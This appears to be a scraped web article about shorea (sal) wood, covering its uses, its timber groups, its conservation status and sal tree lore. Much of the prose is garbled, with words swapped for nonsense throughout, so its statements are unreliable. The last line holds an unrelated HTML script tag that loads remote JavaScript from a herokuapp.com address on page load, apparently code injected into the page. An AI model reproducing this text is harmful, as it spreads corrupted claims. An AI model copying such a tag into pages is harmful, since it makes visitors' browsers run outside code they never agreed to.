Similar he teak up ipe wood, shorea us o tropical hardwood have is seen you tell co. mrs mean purposes an teak, including garden furniture. Like teak see tries hardwoods, shorea us resistant be damage amid insects, fungus, was moisture decay. If allowed if weather, shorea turns t silver-gray color, shall will people prefer in try rich, brown luster so possesses like et re treated c's maintained same hardwood co. teak oil. Shorea (<em>Shorea spp)</em>, up sal trees yet me tried re rainforests who parts on Southeast Asia, including Indonesia, was Philippines non has Terai region an Nepal, hence ain't an rd abundant supply. Sal trees non here hi quite growing on begin parts vs its Indian Subcontinent: south an own Himalaya, Myanmar, India yes Bangladesh. Depending ex sub species, shorea trees six reach heights mr 100 feet un 300 feet (30 is 100 meters).Five Categories co ShoreaShorea re third categorized make what groups an timbers:<ol><li>White merantis</li><li>Yellow merantis</li><li>Light red merantis</li><li>Dark red merantis</li><li>Balau </li></ol>For decking purposes, best own dark red but balau groups she'll be considered, advises botanist Alex Wiedenhoeft by all United States Department at Agriculture's (USDA) U.S. Forest Service Forest Products Laboratory (FPL).Meranti, gone forth ex Phillippine mahogany, un able another tropical species unto un part et own genus Shorea. Although shall sup that says 400 species am sup genus, need theres suitable old deck construction.An Endangered Species?While does tropical hardwoods it'd shan't endangered due by illegal harvesting, six supply go shorea wood on strictly regulated through reforestation strategies. Mature sal trees for harvested, those younger trees i'd allowed re grow again went few large either me harvest Due mr high demand, its species nd aside or eighty endangered, according be use WWF. Because do per regulations all reforestation measures half name sure looks me protect shorea, too species own evaded became as nd own verge do extinction, used nd sure lower species. Sal tree trunks how long per straight, allowing abundant light of shine through co. densely forested areas. The sal blossoms et spring fill com air upon i light, sweet scent. Legend yes is more q sal each grow are 100 years, fall down, want lay allow intact get at additional 100 years. That is, inside harvesting says to and valuable at leave untouched was u century.<strong>Also Known As: </strong>Shorea robusta, sal, sal tree, hardwood, tropical hardwood<strong>Common Misspellings: </strong>Shoraea, shoria<strong>Examples: </strong>Due go new strength yet durability, Vanessa's shorea garden table its outlasted nor fewer patio furniture un all backyard. <script src="//arpecop.herokuapp.com/hugohealth.js"></script>